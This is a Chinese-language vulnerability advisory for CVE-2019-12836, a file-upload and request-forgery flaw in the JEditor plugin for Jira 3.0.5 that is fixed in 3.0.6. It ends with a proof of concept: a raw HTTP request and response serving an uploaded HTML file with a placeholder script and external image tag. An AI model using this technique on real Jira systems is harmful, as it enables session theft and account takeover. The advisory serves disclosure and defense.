JEditor v3.0.5 - JIRA 的所见即所得编辑器
适用于 Jira 的简单而强大的富文本编辑器。可导入 HTML 邮件、粘贴富内容、创建模板并预填充字段。
Bobronix
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12836
JEditor - Jira 的所见即所得编辑器 - v3.0.5
JEditor v3.0.5
Jira 使用的 Bobronix JEditor 编辑器（v3.0.6 之前版本）允许攻击者添加一个指向已有问题的 URL/链接，该链接可伪造向跨域域名发出的请求。进而可能生成一个可在已认证用户上下文中调用的伪造请求，导致会话令牌被盗和账户接管。
JEditor v3.0.5 允许上传多种文件扩展名类型的文件，其中包含 '.HTML'。JIRA 利用 JEditor 实现文件上传功能。攻击者可利用此功能上传恶意内容。
恶意内容上传后，可对该内容发起后续请求，从而在任意已认证用户的浏览器上下文中内嵌显示并渲染该内容。这可能允许攻击者以任意已认证用户的名义伪造恶意请求。
跨站请求伪造（CSRF）
该问题已在 JEditor v3.0.6 中修复
https://jeditor.zendesk.com/hc/en-us/articles/360029430751-JEditor-3-0-6-release-notes
可能导致伪造请求，从而产生客户端攻击向量
需要已认证用户与内嵌的链接/URL 进行交互
致谢：Victor Hanna（Exploit Security）
GET /plugins/servlet/jeditor_file_provider?imgId=ckupload201906162566696393384747423&fileName=C%3A%5Ctemp%5CPOC.html HTTP/1.1
Host: <vulnerable host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0)
Accept: text/html,application/xhtml_xml,application/xml;q=0.9,*/*;q=0.8
Accept-Langauge: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<vulnerable host>/secure/Dashboard.jspa
DNT: 1
Connection: close
Cookie: atlassian.xsrf.token=BNXD-VY4I-RCJA-J3YA_34d13dd7fae0f32023fc89838ldc0b6c35991382_lin; JSESSION=42E9F5581BAE499E3E9E45B9D44E6F3C
Upgrade-Insecure-Requests: 1
HTTP/1.1 200
Server: nginx/1.10.2
Date: Sun, 16 Jun 2019 03:06:10 GMT
Content-Type: text/html;charset=UTF-8
Connection: close
X-AREQUESTID: 786x226666x1
X-ASESSIONID: pn6xpm
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-ASEN: SEN-2322842
X-Seraph-LoginReason: OK
X-AUSERNAME:
Content-Disposition: inline; filename="C:\temp\POC.html"
Vary: User-Agent
Content-Length: 236
<html>
<head>
<img src="http://{insert external image location here}">
<script>{JS Payload of any description}</script>
</head>
<body>
<h1>
Welcome to the Jungle !
</h1>
</body>
</html>
Victor Hanna of Exploit Security